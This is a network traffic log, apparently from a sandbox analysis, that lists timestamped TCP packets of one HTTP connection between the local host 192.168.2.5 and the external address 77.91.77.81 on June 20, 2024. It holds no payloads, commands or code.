Jun 20, 2024 15:38:14.563235998 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563246965 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563268900 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563277960 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563302994 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563317060 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563335896 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563349962 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563369989 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563376904 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563402891 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563412905 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563440084 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563447952 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563468933 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563483000 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563502073 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563509941 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563536882 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563550949 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563569069 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563582897 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563602924 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563610077 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563637972 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563653946 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563671112 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563683987 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563704967 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563721895 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563739061 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563755989 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563772917 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563791037 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563807011 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563824892 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563839912 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563863039 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563874960 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563896894 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563910007 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.563922882 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.563951969 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.598566055 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.598635912 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.598650932 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.598670006 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.598680973 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.598704100 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.598716021 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.598737001 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.598747015 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.598771095 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.598774910 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.598805904 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.598826885 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.598835945 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.598850965 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.598880053 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.602329016 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.602382898 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.602406025 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.602417946 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.602431059 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.602451086 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.602477074 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.602485895 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.602489948 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.602523088 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.602536917 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.602571011 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.602586031 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.602603912 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.602623940 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.602638960 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.602646112 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.602689981 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.602689981 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.602722883 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.602741957 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.602767944 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.602777004 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.602812052 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.602829933 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.602844954 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.602854967 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.602878094 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.602886915 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.602911949 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.602921963 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.602967024 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.602971077 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.603010893 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.603024960 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.603044987 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.603053093 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.603076935 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.603087902 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.603111029 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.603116989 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.603144884 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.603156090 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.603187084 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.646671057 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.646708012 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.646723986 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.646754026 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.646760941 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.646805048 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.646812916 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.646847963 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.646862984 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.646881104 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.646888971 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.646924019 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.646934986 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.646979094 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.646985054 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.647058010 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.647094011 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.647144079 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.647150040 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.647183895 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.647202015 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.647216082 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.647231102 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.647248983 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.647259951 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.647284985 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.647293091 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.647322893 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.647329092 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.647351980 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.647365093 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.647384882 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.647394896 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.647418976 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.647428036 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.647452116 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.647463083 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.647486925 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.647519112 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.647519112 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.647526026 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.647562981 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.647583008 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.647624016 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.647636890 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.647655964 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.647670984 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.647699118 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.648216963 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.648247004 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.648277044 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.648286104 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.648302078 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.648345947 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.648359060 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.648391962 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.648406982 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.648436069 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.648443937 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.648478031 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.648504019 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.648525953 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.648545027 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.648577929 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.648590088 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.648619890 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.648649931 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.648694038 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.648703098 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.648737907 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.648770094 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.648771048 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.648789883 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.648803949 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.648813963 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.648847103 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.648854971 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.648902893 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.648905993 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.648946047 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.648958921 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.648994923 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.649003983 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.649025917 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.649043083 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.649059057 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.649071932 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.649091959 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.649102926 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.649133921 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.649187088 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.649235964 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.649255037 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.649290085 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.649307966 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.649334908 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.649341106 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.649393082 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.649394035 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.649432898 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.649440050 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.649483919 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.649485111 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.649533033 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.649538040 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.649570942 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.649589062 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.649605036 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.649622917 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.649655104 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.649657011 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.649708986 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.649723053 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.649775028 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.649780989 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.649832010 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.649835110 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.649867058 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.649893045 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.649899960 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.649909019 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.649933100 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.649943113 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.649967909 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.649982929 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.649996996 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650022984 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650028944 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650038004 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650063992 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650080919 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650098085 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650115967 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650131941 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650149107 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650165081 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650183916 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650198936 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650213003 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650232077 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650247097 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650279999 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650281906 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650332928 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650357008 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650392056 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650409937 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650424957 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650441885 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650460958 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650470018 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650496960 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650504112 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650528908 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650547028 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650573969 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650587082 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650625944 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650641918 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650659084 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650686026 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650691986 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650713921 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650723934 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650748968 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650757074 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650777102 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650799036 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650820017 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650854111 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650882959 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650902987 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650914907 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650926113 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650948048 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.650973082 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.650985956 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.651000977 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.651019096 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.651037931 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.651051998 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.651065111 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.651086092 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.651103020 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.651129961 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.651133060 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.651204109 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.688868046 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.688908100 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.688942909 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.688944101 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.688958883 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.688982010 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.688983917 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.689016104 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.689030886 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.689059019 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.689177036 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.689212084 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.689229012 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.689253092 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.691817999 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.691853046 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.691878080 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.691888094 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.691888094 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.691934109 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.692334890 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.692394018 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.692533970 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.692584038 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.692589045 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.692617893 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.692634106 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.692687988 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.692696095 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.692728996 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.692748070 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.692761898 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.692771912 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.692805052 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.692821026 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.692838907 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.692859888 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.692872047 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.692888021 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.692905903 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.692923069 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:14.692938089 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:14.692955971 CEST	49710	80	192.168.2.5	77.91.77.81
